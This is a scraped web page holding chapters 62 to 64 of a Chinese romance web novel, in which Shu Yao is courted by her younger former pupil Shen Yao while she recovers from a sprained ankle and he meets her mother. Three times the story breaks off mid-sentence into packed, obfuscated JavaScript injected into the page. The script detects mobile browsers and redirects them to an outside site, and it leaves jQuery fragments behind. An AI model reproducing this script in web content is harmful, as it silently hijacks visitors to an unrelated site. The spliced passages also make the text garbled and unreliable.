梦里,她模糊地梦见一个年轻男人。那男人好像正在帮自己搬一摞书。梦里的客厅被一片阳光照耀着,明亮的晃眼。 即便在梦境中,舒瑶也知道那男人是沈曜。 她看不太清沈曜的脸,只看见他穿着短袖黑T恤,肌肉线条流畅漂亮的上臂泛着晶莹细汗。阳光折射在那几滴汗珠上,闪着碎金般的流光。 像是被那个画面刺激到了,舒瑶一个激灵,从梦里醒来。 外面月华皎皎,显然她刚才那一觉没睡多久。 有点口干舌燥…… 她慢慢撑起身体挪靠到床头边,拿起水杯喝了口水,滋润干渴的喉咙。 小半杯水流入胃里,舒瑶无奈地揉搓起脑袋,轻轻叹了口气。 完蛋了啊。是单身太久还是年纪到了啊…… 自己怎么开始做春梦了…… 62.暧昧(三) 为汉广文化举办的服饰展结束后,舒瑶在家休息了两天。这次脚崴伤的并不严重,虽然当时很疼,但没伤到骨头。 舒瑶的爸爸妈妈得知女儿的脚受伤,四号、五号连着两天都过来探望她,给她褒了一大锅牛骨汤。林娓娓也陪了她一整天。 有父母的关照和好友的陪伴,舒瑶舒舒服服地当了两天衣来伸手饭来张口的米虫。 四号的下午,公司里的组员们一起来看望她,在她家坐了一会儿就走了,唯独沈曜没来。舒瑶问起,梅悦儿说他们约过他,但当天他说有事,就没和他们一起来。 五月五号是小长假的最后一天。让舒瑶意外的是,在五号下午沈曜竟然独自过来了。 舒爸爸在舒瑶这儿呆了一上午,有些坐不住,下午的时候约着三五好友钓鱼去了,说是晚上要给女儿做红烧鱼。 沈曜来时,只有舒妈妈和林娓娓在陪着她。 沈曜今天穿着黑色连帽卫衣,卡其色宽松休闲裤,脚上搭配了一双纯白色的板鞋,一派青春活力的男大学生标配穿搭。 舒妈妈正在厨房里忙活,客厅只有舒瑶和林娓娓。 沈曜左手捧着一捧粉玫瑰,右手拎着一个果篮,看见开门的是林娓娓,点头与她简单打了声招呼。 林娓娓即便看见过他好几次,仍在内心忍不住尖叫这小子长得太祸害人间了。 “瑶瑶,你的帅弟弟来看你啦。”林娓娓转头朝客厅说了一声,侧身让沈曜进了玄关。 还好舒爸爸出去了,否则这里就仅有一双男士拖鞋,沈曜进屋得光脚了。 舒瑶正坐在沙发上剥枇杷,见到沈曜进屋,笑着招呼他:“你怎么来了啊?快过来坐。” 沈曜将果篮放到沙发旁的地上,又把花交给林娓娓去打理,坐到大沙发旁边的单人小沙发上,说:“来看看你,脚还疼吗?” 舒瑶一边剥枇杷一边说:“还行,喷了药,又吃了活血化瘀的中成药,没前天那么疼了。” “佟萱呢?”沈曜左右扫了一眼,没看见那小姑娘的身影。 “你说呢?”舒瑶想到那晚的场景,忍不住微笑道:“应该是和她心爱的‘小舅舅’确定关系了吧。两人正热恋呢,这几天一吃完早饭就往外头跑。” 两人一想到那晚佟萱和齐君闹别扭的场景,都心领神会地笑起来。 笑到一半,联想到彼此那晚意外的亲吻,又同时沉默了。 沈曜抬眸,发现舒瑶也在看自己,不禁心里一阵悸动,盯着她的视线变得有些火热起来。 舒瑶瞬间觉得脸上一热,赶忙错开目光,从茶几下拿出一个一次性的小纸盘,将剥好的枇杷捡了一小把放到那纸盘里,推到沈曜面前,又递给他一根水果叉,“吃点吧。娓娓拿来的白玉枇杷,汁多肉甜,很好吃的。” 沈曜接过来,手指不小心碰到舒瑶纤细的指尖,长长的眼睫颤了颤,“谢谢。” “哗”的一声,厨房的门在此时被拉开,舒妈妈端着一杯菊花蜂蜜水出来,走到沈曜身边将那杯水端给他。 她刚才虽然在厨房里忙碌,但客厅传来的男生声音让她知道来了客人。 舒妈妈慈祥地笑着说:“刚才我就听见有人来看我宝贝女儿。顺便在里面给你泡了杯饮料。小伙子喝点水啊。” 沈曜没想到厨房里还有人,有些意外;而且这位年长的女性还是舒瑶的妈妈。 怔愣片刻,他才接过她手中的玻璃杯,立刻起身向她问好,“阿姨好。太麻烦您了。谢谢。” 青年帅小伙儿显得有些拘谨,舒妈妈心下觉得好笑。见他从沙发上站起来,才发现这男生竟然长得这么高。 舒妈妈抬了抬鼻梁上的老花眼镜,感叹道:“小伙子,你个子真高啊。不用一直站着,快坐下吧。” 沈曜依言又坐下来,两只手放在膝盖上轻轻来回搓了几下。 舒瑶瞥见他的小动作,意外这平时拽拽的男生竟然也会因为见到她妈妈而拘束,偷偷在旁边翘起嘴角。 舒妈妈来到舒瑶身边坐下,显然是想和沈曜说说话,“小伙子叫什么名字啊?几岁了?” “沈曜。二十一岁了。”沈曜坐得笔直,态度认真地回答道。 见他一副好好学生的样子,舒妈妈呵呵笑起来,“别紧张,我也就随便问问。对了,我怎么觉着你瞧着有些眼熟?” 舒瑶拿小叉子叉了一个白玉枇杷,递到舒妈妈嘴边,“妈,他前几年春节那阵不是一直和我连视频吗?你做家务的时候,在一旁看过他好几次呢。” “哦对对对。你这么说我就想起来了。”舒妈妈拍了拍额头,接下舒瑶给她的枇杷,“我是说怎么这么眼熟。你是瑶瑶曾经带过的那个学生?川城人,对吧?” “对。舒瑶教得很好,也帮了我不少忙。我很感激。”沈曜言简意赅。 他很少和长辈聊天,遇见舒妈妈,内心非常紧张,只得秉持少说少错的原则。她问一句,自己就答一句。 “前不久她还提过你呢。说当年你高考完,没及时问你考到哪里,挺内疚的。” 沈曜挑挑眉,将目光移到舒瑶脸上,眸中透出欣喜,“她还记着我。” 舒瑶心里一跳,没料到老妈居然突然揭她老底,心里又羞又窘,面儿上佯装镇定,只是抬手将一颗枇杷喂进母亲嘴里,语气里有一丝焦急:“妈,吃枇杷,特别甜。” 舒妈妈十分了解女儿,知道她这是害羞不让自己说下去的意思,也就不再拆她的台,反而帮她解释说:“她做什么都很认真。当年你曾作为他的学生,她记挂你高考结果如何,是应该的。” 舒瑶暗暗吁了口气,视线与沈曜投过来的眼神碰到一起,又立马移开了。 这时候林娓娓端着一瓶花从卫生间走出来。她刚才修剪花刺和花枝的枝尾,又用心将这些花插了个好看的造型,用去不少时间。 “咦?阿姨忙完了?我还说等会儿进厨房帮你摘菜呢。”林娓娓将花摆到茶几的一边,客厅里顿时显出不少缤纷的生机。 “不急。”舒妈妈看了眼墙上的挂钟,“才三点多。我坐着歇会儿。正好跟这小伙子聊聊天。” 这两天除了舒瑶的同事,沈曜是唯一一个单独登门的男生。而且,通过刚才这短短几分钟的观察,这小男孩儿和自己女儿已经来回交流了好几次眼神。 沈曜望着女儿的目光明显包含了普通朋友之外更深层的含义,而女儿回看他的眼神若即若离,偶有闪躲,似乎也不太单纯。 舒妈妈也年轻过、恋爱过,见两人这番表现,心里多少有了点儿数。但在一切没明朗之前,她不想过多盘问和干预。 “你家在川城,怎么考到海城来了?”舒妈妈假装没看见他俩的眼神互动,继续问沈曜。 沈曜依然正襟危坐,“海城法政大学的法学专业在全国同专业里排前三,是我的志向。而且考来这里,也有一部分私人原因。” 当年高考填报志愿时,沈曜考虑了很多。海城不仅有好大学,他的外公外婆还在这里,更何况舒瑶也在这里。因此他完全没考虑过要报考除了海城以外的地方。 舒妈妈抬了抬眼镜,“你在法政大学念书?” 沈曜点头,“是。” 舒妈妈赞扬道:“那成绩很好啊。法政大学的分数很高的。” 沈曜笑了笑,没说什么。 一般上了岁数的人,总免不了絮叨。可是舒妈妈给人的感觉不太一样,问题虽然一个接一个,但没哪个是废话,都问到了点子上。也不会冒然乱出主意,干预他的一些未来职业规划,很有分寸。 沈曜与她一问一答,心里对于舒瑶的性格继承于谁,大致有了分辨。舒瑶的性格和她妈妈很像。 舒妈妈与沈曜又聊了一会儿他的学业和今后的发展打算,抬头看了眼挂钟,站起身子对三个小辈说:“你们聊着,时间差不多了,我去做饭。小伙子留下来吃晚饭吧?” 沈曜抱歉道:“不了阿姨。等会儿我得去我师兄那儿,已经和他约好了。” 舒妈妈便不再挽留,转身进了厨房。 “阿姨,我帮你摘菜。”林娓娓放下手里的茶杯,跟着舒妈妈去厨房。看小帅哥那样子,像是有话单独和舒瑶说,她可不想留在那里做电灯泡。 客厅里只剩下沈曜,没了妈妈的问询和好友八卦的眼神,舒瑶反而自在起来。枇杷吃了一小碗,她都快吃饱了。 于是她抽出两张湿纸巾,将手擦干净,盯着沈曜揶揄道:“等会儿你真有事?不是故意找借口搪塞我妈吧?” 沈曜莞尔,“真有事。帮我师兄整理一个经济大案的证据和资料。” “哦。我还以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那类“哎呀这些事太苦了你们女生不用做”、或“这些活儿太难太伤神了你们女生千万别干”的话,听着像是在保护女人,可实际上却是在人为的削弱女人的生存能力。 因为一直不干,就一直不会;一直不会,就只能一直有求于人,一直仰仗他人鼻息,永远处于弱势。 千人千路,舒瑶对别人的选择从不干涉。每个人都有选择自己生活的权利。舒瑶选择要一直强悍下去。 要不是她一路披荆斩棘,在工作中表现优异,也不会连着两次PK掉同组里那个异性竞争对手当上组长。职场如战场,一向是成王败寇。那个男人没竞争过舒瑶,在她升组长的时候就跳槽离开了。 沈曜望着舒瑶眼里坚毅的光,欣赏的同时又非常疼惜她,“明天开始我接你上下班。明早八点,我等在你家门口,背你下楼。” 舒瑶张口就想拒绝。 沈曜紧接着说:“别拒绝。我不会听。”态度堪称强势。 舒瑶皱起眉头,眼露不满。 沈曜看出她的不高兴,语气变得温柔:“舒瑶,别人我不管。但是你,我希望你可以适当的依赖我。” 舒瑶斜着眼瞅他,“什么意思?觉得姐姐我是个吃不了苦的弱鸡?” “当然不是。”沈曜笑着摇摇头,望着她的目光又开始放电,“你不记得吗?我在追你啊。给我个表现机会。或者就当我还你当年帮我一起救治我爸的人情。” 要比硬碰硬,舒瑶不吃这套。 但是如果自己在意的人用柔软策略,舒瑶就有些招架不住。 听沈曜这一通又是追求又是还人情的说辞,弄得她都不好意思再拒绝。 舒瑶的眼神柔软下来,抿抿嘴,依然有点犹豫。 她不想欠沈曜人情,是因为她并不能保证以后一定会和他恋爱;但她又有点想依赖他,因为自己和他相处起来觉得非常亲切又自在。 还有很重要的一点,就是她不太想见他被自己拒绝后而难过低落。 怎么办?人遇到这种事,是不是都这么矛盾的? 舒瑶心里的天平开始摇摆不定。 沈曜乘胜追击,继续打诚恳牌,凝视她的眼神澄澈透亮,像是藏了小钩子,“小时候我依赖你,现在换你也可以依赖我了。” 63.暧昧(四) 经不住沈曜的软磨硬泡,舒瑶将车钥匙交给了他,同意他接下来的一周接送自己上下班。 五一假期结束后,上班的第一天,一般不会有人提前太早到公司,假期综合症对于大部分上班族来说是通病。 不过这种综合症不适用于有特殊情况的人,比如舒瑶。 这一天沈曜的学校排了一整天的课,为了能送舒瑶到公司,自己也不会耽误上课,所以两人七点半就从舒瑶家出发了。 沈曜先将舒瑶背到楼下,坐上车,然后开车送她到公司地下停车场以后,背着她一路从停车场走到电梯间乘电梯,从电梯出来以后再将她背到公司里她的办公位上。 因为离九点还差一个小时,所以公司里没什么人,连前台的小姑娘都还没到。 他们公司的前台一共有两位,要负责员工每天出勤的打卡,所以总会有一位是八点半就开始上班、也会提前半小时下班。两人一天隔一天的轮早班。 “好了,谢谢你哦。还得起个大早送我到公司。”舒瑶从背包里摸出一个粢饭团和一盒牛奶,递给沈曜,“作为谢礼,请你吃早饭。” “这么好?”沈曜有点意外的惊喜,“你什么时候买的?” “提前一天预订好,第二天一早外卖员就会按照预订时间放在我家门口了。”舒瑶微笑道。 沈曜也不客气,自然地伸手将粢饭团和牛奶接过来,“你早上也吃这个?” 舒瑶笑着瞥他一眼,“对啊。买个双人套餐,比单点便宜。打八五折呢。” 沈曜乐了,玩笑似的对她眨了一下右眼,“真会持家。我们这算不算情侣早餐?” 舒瑶抬手做了个虚打他的动作,笑骂道:“你少来!小不点儿还在读书呢,就敢占姐姐口头上的便宜。赶紧滚回学校去上课!” 沈曜装无辜,耸耸肩膀,和她贫嘴,“我已经成年了。都开始赚实习工资了。你不能搞年龄歧视。” 舒瑶挥手赶他,“快走快走。免得一会儿前台小妹妹来了被她看见,还以为咱俩有什么呢。” 沈曜的眸光瞬时暗了一秒,又开始幽幽发亮。他嘴唇动了动,想说什么却又止住,最终只是用眼神深深凝视舒瑶的脸。 舒瑶见他不说话只盯着自己看,心里蓦地划过一道电流,微微的酥麻让她感到有点不自在,赶忙移开与他对视的眼光。 自己和沈曜现在……嗯……的确算是挺暧昧的。 毕竟沈曜已经和她表白过了,而自己也半推半就地允许他的追求。 唉……为什么他们的关系会变得这么复杂啊。 舒瑶觉得无奈,但心灵深处又禁不住感到一阵有点禁忌和错位的甜蜜。 当然,当着男生的面,她是不会承认的。 因为她自己都还没弄清楚自己的心意,总得等她想明白了,才能给他明确的答案,免得弄到最后让这小男生空欢喜一场。 沈曜还没打算离开,他靠在她办公位的隔板旁,看了她好一会儿才问:“你晚上加班吗?” 舒瑶歪着头,想了想,“应该不加。汉广文化的展览刚办完,我这儿暂时还没接其他什么紧急的大项目。” 沈曜的脸上闪过一抹喜意:“那我下午几点来接你?” “嗯……”舒瑶用手指点着下巴,在脑中计算时间,“六点三刻吧。那时候我们这个办公片区的员工应该都已经下班了。” 沈曜:“行。那我先走了。晚上再来接你。” 舒瑶见他转身,连忙提醒道:“我车子你开着去学校吧,给你当个代步工具,反正我也用不着。” 沈曜将手中的车钥匙抛起来又接住,笑着对她挥了一下手,“好。晚上等我。” 舒瑶点点头,笑着催他:“快走吧。再不走前台真要来了。” 这小子怎么给她一种恋恋不舍的感觉…… 舒瑶无意识地轻轻咬着下嘴唇,压住想要翘起的嘴角。 * 临近六点半的时候,佟萱给舒瑶发了个消息。 [佟萱:舒瑶姐姐,我今晚开始在学校上完晚自习再回来哦。还差一个多月就要期末考试了,我得抓紧,争取拿到奖学金,到时候请你们吃饭。(小兔子微笑.jpg)] 舒瑶笑着看完这条消息。这个小姑娘挺懂事的。不早回来还知道给自己发消息,真贴心。 [舒瑶:好。加油。晚上回来注意安全。(摸头.jpg)] [佟萱:我小舅舅说会送我回来的,你不用担心。(*^_^*)] 得。这是在这儿和自己秀恩爱来了。 [舒瑶:你俩嘴都亲了,你还叫他小舅舅呀?我那晚可是全看到了哦。不过是不小心撞见的。^_^] [佟萱:啊!被你看到啦~嘿嘿。我都叫习惯了,一时改不了口。私下里就先还是这么叫他吧。我俩没有血缘关系的。再说这样不是很刺激嘛。多有情趣呀。这不就像叫自己年长的男朋友“大叔”一个道理嘛。] 看见这条消息,舒瑶手握成拳挡着嘴咯咯笑起来。 是不是年纪轻的小朋友们都这么情绪分明,率直纯真? 舒瑶回忆了一下自己刚初恋那会儿,好像也挺……喜欢秀恩爱的。 算了,恋爱中人的脑回路都和单身狗不太一样。她表示理解。 [舒瑶:总之恭喜你脱单了。要和你男朋友好好相处哦。] [佟萱:必须的。我们一定会长长久久,毕竟跑了好几年的马拉松啦。好不容易在一起的,羁绊深着呢。] 原来佟萱和齐君在一起也不容易啊。 或许越是长久深厚的感情,刚开始时越是艰难吧。 没思考多久,手机又传出微信提示音。 舒瑶拿起一看,是沈曜发来的。 [沈曜:我在地下停车场了。现在上来接你?] 舒瑶抬起头,佯装转动脖子活动筋骨,朝四周围瞄了一圈。 很好,这片办公区域已经没人了。大家都下班了。 为什么感觉自己像在做贼啊…… 舒瑶拿起手机回消息。 [舒瑶:上来吧。他们都走了。] 约莫等了五分钟左右,沈曜就到这片办公区来了。也许是走得急,他额边的刘海有两撮翻飞起来,瞧着有种年轻人特有的朝气和潇洒。 舒瑶看着他越走越近,额头上的美人尖周围覆了一层薄薄的细汗。 她想起林娓娓曾和她说过,但凡长了美人尖的人,大部分都是少年时期就过得比较辛苦,或者在同龄人正享受家人照顾过得无忧无虑时,他们就已经开始谋生计了;或者与父母缘分浅薄、早早就会分离。 沈曜的确是母亲早亡,父亲有了新家庭后,他也和父亲分开生活了。看来这面相学,有时候真的挺准。 舒瑶念及他的少年时期,心底不禁泛起一阵对他的怜惜。对于双亲不能陪伴自己的成长期这件事,舒瑶颇有共鸣。 所以她心疼他,不忍心拒绝他的追求,继而发展到现在,更在意他,甚至在面对他、与他对视时,呼吸都会不太顺畅。 “东西都收拾好了?”沈曜问。他脸上带了点笑,看样子心情不错。 经他提醒,舒瑶慢半拍地低下头,检查了自己的背包和手机,才说:“好了。” 沈曜走到她面前,背过去蹲下来,“上来吧。” 舒瑶悄悄深呼吸一口气,依言趴上去,搭上他肩膀的手,仍然不敢太用力,仿佛通过这点就能为他减重似的。舒瑶暗笑自己的傻气。 一股淡淡的冷香飘入沈曜鼻端,女人柔软的身体紧贴上他的背部。 沈曜又开始不受控制地心跳加速,脸颊也染上了红晕,一抹绯红渐渐漫延到他的耳廓。 舒瑶垂眼一瞧,见他两只耳朵都红通通的,偷偷弯了弯嘴角。 这小子平时看着拽兮兮的,但面对感情却很纯情。 不过就是背着自己,也能把他给臊红了,弄得她手痒痒的,好想拗他几下耳朵解痒。 沈曜可不知道舒瑶的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977473|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思,即便身上有负重,他依然走得像是一阵风。 他一路沉默地背着舒瑶出了公司大门,来到电梯厅等电梯。 电梯旁的指示灯亮起白色,下一秒就停在了这个楼层。 电梯门打开,里面两个人与外面两个人目光一对上,都是一愣。 舒瑶和沈曜顿时有些傻眼,他们没想到在这个点儿还能遇见下班后又返回来的梅悦儿和钱晓蔓。 钱晓蔓和梅悦儿愕然看着电梯门外的两个人:“组长,沈曜?” 舒瑶趴在沈曜背上,两只手还搭在他的肩上,神情有那么一丢丢的尴尬,“你们不是下班了吗?怎么又回来了?” 梅悦儿只愣了几秒,很快便装作若无其事,说:“我手机忘公司里了,晓蔓陪我回来拿手机的。” 钱晓蔓却很单纯,眼神中写满八卦,好奇地问背着舒瑶的帅哥实习生:“沈曜,你今天不是不来实习吗?难道你是特意来接组长下班的?” “嗯。”沈曜几不可见地点了一下头。 “那这么说,你每天早上是不是还要送组长来上班?”钱晓蔓两眼直放光,一边问一边被梅悦儿拉出了电梯。 她不像梅悦儿,一早就被沈曜告诉过他来公司实习的真实目的。 所以对于沈曜私下接送舒瑶上下班,钱晓蔓的那颗想要磕CP的心已经按耐不住了,只一门儿心思想探究沈曜和舒瑶到底是什么关系。 沈曜扫了一眼面前眼神亮晶晶的好奇大眼妹,本想说是,可不知道舒瑶究竟想不想让人知道,于是只好闭紧嘴巴,选择沉默。 舒瑶礼貌性地对钱晓蔓露出微笑,没承认,但也没否认。 梅悦儿在一旁扯了一把钱晓蔓暗示她别多打听,又清了清嗓子,侧着身子请舒瑶和沈曜走进电梯,说:“组长你们先走吧。这孩子傻了,我来教育她。” 舒瑶笑着对他们挥手,“好。明天见。” 两人坐电梯到停车场,巡逻的保安大叔提着茶壶迈着悠哉的步子经过,一见沈曜背着舒瑶,瞥了一眼两人,才与舒瑶打招呼:“哟,丫头,下班了啊。脚好点儿没?” 舒瑶刚觉得安全了没几分钟,再次遇见熟人,心又不禁提了起来,“……啊,是啊。好点了。大叔今晚夜班?” “嗯,夜班。今天老刘家里有事,我和他调班了。”保安大叔笑呵呵地瞧着两人,“这小帅哥送你回家啊?” 舒瑶心道该来的躲不掉,用手指头抠了抠鬓角,尬笑道:“是啊。这周都是他接送我,等周六去复诊,如果情况好,脚上的绷带就能拆了。” 都被撞见了,也就没什么可再隐瞒的。舒瑶索性破罐子破摔,把这周都是他接送自己给主动招供了。 “那就好。丫头你也不小了吧,是该找个对象了。你看看,这有事儿的时候,不就有壮劳力给你使唤了。”保安大叔感叹一声,“小伙子不错,长得那么帅,又体贴。好好处着吧。” 沈曜听见他的话,乐得弯起眼睛,眉眼间布满喜意,爽快地应了一声“好。” 舒瑶尴尬地想用脚趾抠地,但又没法立刻解释明白。她怕说出事实会打击到沈曜,最后只好苦笑着对大叔说了声再见。 保安大叔吃到这个大甜瓜,心满意足,摇头晃脑哼着小曲走掉了。 沈曜将舒瑶扶坐进副驾驶座,自己才上了车,坐进驾驶座时,他嘴角的笑意还没收回去。 舒瑶十分无奈,第一天下班,沈曜来接自己,就被三个人都看到了,她感到很无语。 “没想到偷偷摸摸的,还是被发现了。” 沈曜的心情和她相反,眉梢眼角都挂着愉悦,他系上安全带,“其实挺好,以后不用偷偷摸摸了。” 舒瑶揉了揉额头,因被人接连发现的打击,使得她心情不太美妙。 她无知觉地感叹道:“我就只是崴着脚了,怎么弄得和偷情怕被发现似的。” 沈曜打着方向盘的手一顿,挑眉偏头瞧她,眸中噙着揶揄的笑意,“你觉得我们像偷情?” 64.暧昧(五) “难道不像吗?”话一出口,舒瑶才觉出不对劲。 本来舒瑶没什么特别想法,但被男人这么一盯一问,她心里的知觉竟变得微妙起来。 两人现在的关系有些不清不楚,还真有瞒着众人在偷情的意味。 舒瑶忽然发现自己说错话了,匆匆扫了眼沈曜亮闪闪的浅棕色瞳仁,面颊泛起一丝红晕。“哎呀好了,你、你快开车吧。” 沈曜笑了笑,没再逗她,专心地将车从停车场开出。只是回程的一路上,他勾着的嘴角都没下去。 舒瑶被沈曜一路背上楼,直到家门口沈曜才将她从自己背上放下来。 门被打开,舒瑶发现家里的灯是亮的,厨房里传来汤匙碰到砂锅的叮当声。 “是瑶瑶吗?”舒妈妈的声音从厨房传来。 舒瑶的脚受伤,她担心女儿晚上吃不好,因此特意赶来帮她做晚饭。 “啊。妈妈,是我。”舒瑶被沈曜搀着换好拖鞋,向着厨房的方向问道:“妈你今天怎么来了?来回跑多累啊。我可以点外卖的。” 舒瑶的父母家离她现在所住的华馨院相距十几公里,单程来一趟得坐公交车再转地铁。 父母年纪不小了,都还没退休。除了上班,下班后还得赶过来照顾自己,舒瑶对此于心不忍,这也是她一开始坚决拒绝父母接送自己上下班的原因。 没想到好不容易说服他们不来接送,但母亲依然下班过来给她熬汤做饭,就希望她能吃得好些,快快将伤养好。 真是可怜天下父母心。 “外卖哪有妈妈亲自给你炖的骨头汤好。”舒妈妈捧着一个小砂锅,笑眯眯地从厨房里走出来。 本来她想着女儿一个人从楼下杵着拐杖上来应该很不容易。 结果她刚走出厨房,就看见沈曜那小孩儿也在,怔了两秒,再看女儿脸不红气不喘的,沈曜的外套还有一点歪斜,当下心里有数,笑着朝小伙子问道:“是小沈啊。你背瑶瑶上来的?” 沈曜站在门口,侧身小心扶着舒瑶,沉着回道:“是。最近我都会接送她上下班,阿姨您不用担心。” 舒瑶瞥了他一眼,发现男生表情镇定,但是两颊浅淡的粉色暴露了他的羞涩。 见他脸微红,舒瑶也感到有点别扭。 男生轻柔地捧着她的胳膊。他的手很温暖,就算隔着衣服也毫不费力地将暖意传到舒瑶的心里。 完蛋了啊……我这是受他情绪影响还是怎么的? 总觉得自己的心有沦陷的节奏啊…… 人心都是肉做的,沈曜对她的真心和付出,她都看得见,也拎得清。 感动像是一点一点不停滴落的水滴,就算她的心是块石头,也都被那连续不断的水滴给磨得光滑圆润了。 舒瑶坦然接受了自己对这位年轻小男生的心理变化,也尝试着慢慢将他当作“弟弟”的心里定位逐渐抽离。 只是她觉得时候还不到,火候还差那么一点儿,她仍需要一些时间去适应。 舒瑶望着他的眼睛里,有她自己都没察觉的温软情绪。 舒妈妈将小砂锅端到餐桌上,对沈曜说:“这段时间真是麻烦你了,谢谢啊。我做了好几个菜,你吃晚饭了吗?要不就留下和我们一起吃点儿?” “不用了阿姨,我不饿。”沈曜本想婉拒。 他今天就只是想单纯的送舒瑶回家,让她路上省力些,到家能好好休息,并不想蹭饭。 奈何刚说完这句话,就听这小男生的肚子发出一声“咕噜噜”的抗议声。 酷哥人设瞬间崩塌。 沈曜的脸一瞬间红得像个小苹果,他羞赧得挠了挠耳朵,自己都不好意思地低头笑了。 舒妈妈和舒瑶两人不约而同地捂嘴笑起来。 舒瑶笑了两声便停下,为顾及到他的面子,努力强压住上翘的嘴角,真心挽留他,“行了。跟我不用那么客气。你就留下来吃饭吧。不然等你回去再吃饭那都得几点了,都成宵夜了吧。对肠胃不好。” 沈曜不再推辞,先扶着舒瑶去卫生间洗手,他自己也将手搓洗地干干净净。 将舒瑶扶到餐桌旁坐下,他又厨房帮舒妈妈拿碗筷。 暖橘色的灯光下,一桌香喷喷热腾腾的饭菜,充满了家的温馨味道,让饿了大半天的舒瑶和沈曜都体会到了什么叫饥肠辘辘。 舒妈妈见沈曜只拿了三双筷子,她笑了笑,没说什么,又去厨房拿了第四双。 她坐在舒瑶对面,让两个年轻人并排而坐,用新拿来的筷子给两人一人夹了块糖醋排骨到他们碗里。对沈曜说:“吃吧,尝尝海城的糖醋排骨,看看吃不吃得惯。” 沈曜夹起排骨吃了一口,“好吃,很香。” 舒妈妈笑道:“你是川城人,我还怕你不爱吃甜的呢。好吃就行。” 舒瑶吃完一块排骨,满足地叹道:“真好吃。妈妈做饭就是香。” “你做得也好吃啊。就是没时间而已。”舒妈妈笑说:“得了我的真传,反正以后我是不会担心你挨饿的。” 舒瑶和舒妈妈吃饭都不太喜欢说话,这是舒家一直以来的习惯——食不言。 母女二人说了两句,就专心用餐了。 舒家人平时吃饭都是细嚼慢咽的,除了和家族聚餐时见过男孩子们风卷残云的速度,平时很难得见。 舒妈妈和舒瑶两人才吃了半碗饭,沈曜已经干光了一碗。 他虽然吃得快,吃相却很文雅。舒妈妈见他埋头干饭的样子,就特别有满足感,等他饭碗一空,就又给他盛了一碗。 舒瑶用余光偷偷瞄了他一眼,暗笑这小男生胃口仍然这么好,和他小时候一样。 但又想起他才二十一岁,还在长身体呢。 大概是感受到舒瑶投在自己身上的余光,沈曜吃饭的速度明显慢下来。 又过片刻,几人吃得差不多了。舒妈妈从厨房端了一壶泡好的普洱茶,给每人都倒了一杯。 “喝点茶,消消食。”舒妈妈对沈曜说。 沈曜用纸巾擦完嘴,将它折好丢进桌旁的小垃圾桶,将那杯茶接过来,“谢谢阿姨。” “小沈每天这么接送我们瑶瑶,挺辛苦啊。”舒妈妈抿了口茶,语气慢悠悠的。 沈曜脑中的弦倏地绷紧了。一听舒瑶妈妈的话,他就觉得她大概想和自己打听什么。“不辛苦。她是我上司,帮一下很正常。” 舒妈妈瞥了眼女儿,又看向沈曜,笑问:“是上司没错,可也是女性。你女朋友对此不会介意吗?” “我没女朋友。”沈曜放下茶杯,品出了舒妈妈的话中有话。 “长得这么帅,还没女朋友?”舒妈妈不太相信,“要不要阿姨给你介绍一个?阿姨单位里有个来实习的小女生,样貌比不得你那么出挑,但性格很好,我看和你挺般配的。” 沈曜正襟危坐,无奈地笑道:“不用了阿姨,谢谢。虽然我没女朋友,但我有喜欢的女生,喜欢很多年了,还在追求中。” 舒妈妈有些惊讶,“你条件这么好,还没追到她?什么女生啊,这么难追。” 沈曜莫名有点紧张,抠了抠鬓角,眼帘半垂,羽扇一般的睫毛颤了颤,“是挺难追。” 说完,他悄悄用余光扫一眼身旁的女人,见她一脸淡然,正在低头扣手机。 仿佛他和她妈妈的谈话,并未影响到她。 “她说和我好几年没见,对我没感觉。”沈曜说,“所以我还在努力中。” 舒瑶才刚拿起茶杯喝茶,听到沈曜的暗示,忽然被呛了一下,“咳咳”地咳嗽了几声。 完了完了,老妈肯定看出什么苗头了。舒瑶心里遽然一阵心虚。 沈曜从手边抽了一张纸巾递给她,眼露关切。舒瑶接过,装作若无其事地擦了擦嘴。 舒妈妈用高深莫测的眼光扫视两人。她早已看透一切,见女儿那假模假样的淡定,低头看手机的眼神虚虚地晃着,不禁在心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996750|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头发笑。 明面儿上,她却并没点明,又接着问沈曜:“那如果她一直不答应你的追求呢?” 沈曜沉默须臾,而后目光坚定地迎向舒妈妈的视线,“如果她愿意,我将永远爱她,如果她不愿意,我将永远思念。” 热情而真挚的表白,无论什么时候,都能打动人心。 舒瑶摆弄着茶杯的手一抖,几点茶汤不小心溅出来。热意不受控制地攀上她的脸颊。 沈曜说的这句话出自著名作家王小波给李银河的信中所写的情话。 舒妈妈是知识分子,看过不少书,所以知道这句话。 她只是对眼前这位小男生的用情至深感到诧异。 看上去年纪尚小又有些桀骜的俊美青年,对女儿的情意如此真诚和长情,而且还很懂浪漫。 原本她还不太放心这小伙子,毕竟他和女儿差得岁数不少。单瞧他的长相和气质,她就觉得这男生难以驾驭。 她担心他只是心血来潮才去招惹自己的女儿,可今晚听他诚恳诉说他对舒瑶的感情,舒母便不太想阻拦他们了。 